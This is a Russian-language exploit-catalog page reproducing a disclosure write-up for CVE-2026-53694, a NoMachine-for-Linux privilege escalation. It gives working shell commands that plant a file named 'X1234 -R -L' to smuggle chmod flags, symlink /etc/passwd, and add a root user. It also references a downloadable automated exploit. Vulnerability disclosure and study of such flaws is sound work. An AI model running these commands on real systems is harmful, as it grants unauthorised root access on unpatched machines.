Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-53694-NoMachine-LPE — Эксплойт доказательства концепции и описание для CVE-2026-53694, локальное повышение привилегий в NoMachine для Linux через внедрение аргументов в nxchmod.sh, позволяющее получить доступ root с помощью манипуляции символическими ссылками. | Kitploit
Инструменты/GitHubGitHub/do4choo/cve-2026-53694-nomachine-lpe
Повышение привилегийАнализ уязвимостейЭксплуатацияТестирование на ПроникновениеОбучение и ОбразованиеЭксплуатация Бинарных Файлов
GitHubdo4choo/cve-2026-53694-nomachine-lpe

CVE-2026-53694-NoMachine-LPE

Эксплойт доказательства концепции и описание для CVE-2026-53694, локальное повышение привилегий в NoMachine для Linux через внедрение аргументов в nxchmod.sh, позволяющее получить доступ root с помощью манипуляции символическими ссылками.

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий
824 дней назадЕщё не проверено

CVE-2026-53694: Локальное повышение привилегий в NoMachine через инъекцию аргументов

CVE Status Target Language

Обзор

Этот репозиторий содержит описание и Proof of Concept (PoC) для CVE-2026-53694 — уязвимости локального повышения привилегий (LPE) в NoMachine для Linux.

Из-за некорректной нейтрализации разделителей аргументов в скрипте nxchmod.sh локальный непривилегированный пользователь может внедрить аргументы в системную команду, выполняемую от имени root. Комбинируя эту инъекцию аргументов с символической ссылкой, злоумышленник может перезаписать критически важные системные файлы (такие как /etc/passwd) и повысить свои привилегии до root.

Уязвимость полностью устранена производителем.

Процесс обнаружения

Обнаружение этой уязвимости стало результатом проб, ошибок и озарения поздней ночью. Вот как разворачивался процесс обнаружения:

  1. Наблюдение за целью: Я заметил, что скрипт /usr/NX/scripts/restricted/nxchmod.sh периодически выполняется пользователем root для управления правами доступа в определённых каталогах.
  2. Первоначальная идея (тупик): Я увидел, что скрипт применяет chmod a+rw к файлам. Я подумал: Если я контролирую назначение, могу ли я использовать символическую ссылку, чтобы сделать /etc/passwd доступным для записи? Я проверил стандартную символическую ссылку (ln -s /etc/passwd /tmp/asdf), но это не сработало. Sticky bit в Linux для таких каталогов, как /tmp, не позволяет пользователю root слепо следовать по символической ссылке, созданной другим пользователем.
  3. Прорыв: Позже, изучая выполнение скрипта, я заметил, как строится команда: ${COMMAND_CHMOD} ${MOD_STRING} ${FILE_PATH}. Скрипт брал буквальное имя файла и передавал его напрямую в chmod.
  4. Инъекция команды через имя файла: Я понял, что могу создать файл с пробелами и флагами в имени. Я создал файл с именем X1234 -R -L. Когда скрипт запустился, команда chmod развернула это в аргументы, а не в единый путь к файлу.
  5. Обход sticky bit: Внедрив флаги -L (следовать по символическим ссылкам) и -R (рекурсивно) в команду chmod через имя файла, я заставил сам бинарник chmod разрешить и проследовать по символической ссылке, которую я создал в каталоге, полностью обойдя защиту sticky bit.
  6. Достижение LPE: Как только /etc/passwd стал доступен для записи (a+rw), я смог просто добавить нового пользователя root в файл и выполнить su под ним.

Технический анализ

Уязвимость проистекает из того, как NoMachine обрабатывает права доступа для сокетов X11/Wayland. Скрипт nxchmod.sh запускается демоном nxserver.bin, работающим от имени root.

Уязвимое выполнение выглядит так:

# /usr/NX/scripts/restricted/nxchmod.sh
${COMMAND_CHMOD} ${MOD_STRING} ${FILE_PATH}

Если злоумышленник создаёт структуру каталогов и файл с именем X1234 -R -L, результирующая команда, выполняемая от имени root, становится: /bin/chmod a+rw /tmp/.X11-unix/X1234 -R -L

Когда символическая ссылка, указывающая на /etc/passwd, помещается внутрь каталога X1234, внедрённые аргументы -R и -L заставляют chmod рекурсивно проследовать по символической ссылке и предоставить глобальные права на чтение/запись целевому файлу.

Требования для эксплуатации

Чтобы этот эксплойт сработал, целевая система должна соответствовать следующим условиям:

  • ОС должна использовать Wayland (не X11).
  • Xwayland должен быть активен.
  • Должна быть запущена графическая сессия (экран входа достаточно).

Proof of Concept

Вы можете воспроизвести эту уязвимость либо вручную с помощью shell-команд, либо автоматически с помощью предоставленного Python-скрипта.

Способ 1: Ручное выполнение (Shell)

Перейдите в /tmp/.X11-unix/ и выполните следующие команды, чтобы создать вредоносную структуру каталогов.

cd /tmp/.X11-unix/

# 1. Exploitation setup
touch "X1234 -R -L"
mkdir X1234
ln -s /etc/passwd /tmp/.X11-unix/X1234/pwn

# Wait for nxchmod.sh to execute (can take up to 60 seconds).
# Verify the permissions of /etc/passwd have changed to -rw-rw-rw-
# You can now edit /etc/passwd to add a root user.

После того как вы убедились в наличии уязвимости и повысили привилегии, выполните следующие команды очистки, чтобы восстановить стабильность системы и удалить артефакты:

# 2. Cleanup
rm "X1234 -R -L"
unlink X1234/pwn
rmdir X1234
chmod 644 /etc/passwd

Способ 2: Автоматизированный эксплойт

Полный автоматизированный эксплойт предоставлен в poc.py. Этот скрипт проверяет требования Wayland, настраивает символическую ссылку, ожидает цикла выполнения nxchmod.sh и внедряет нового пользователя root (gg) в /etc/passwd

Чтобы запустить эксплойт:

python3 poc.py

Устранение

Эта уязвимость была устранена компанией NoMachine. Пользователям следует обновиться до следующих версий или более поздних:

  • NoMachine 9.5.7
  • NoMachine 8.23.2

Хронология

  • 2026-04-20: Уязвимость сообщена производителю.
  • 2026-04-23: Производитель подтвердил уязвимость и согласился на скоординированное раскрытие.
  • 2026-05-07: Производитель выпустил исправленные версии (9.5.7 и 8.23.2) и опубликовал Trouble Report TR04X11802.
  • 2026-06-10: CVE-2026-53694 опубликована в NVD.

Ссылки

  • NoMachine Trouble Report TR04X11802
  • NoMachine Software Update SU05X00274
  • NoMachine Software Update SU05X00275
  • CVE-2026-53694
Скачать инструмент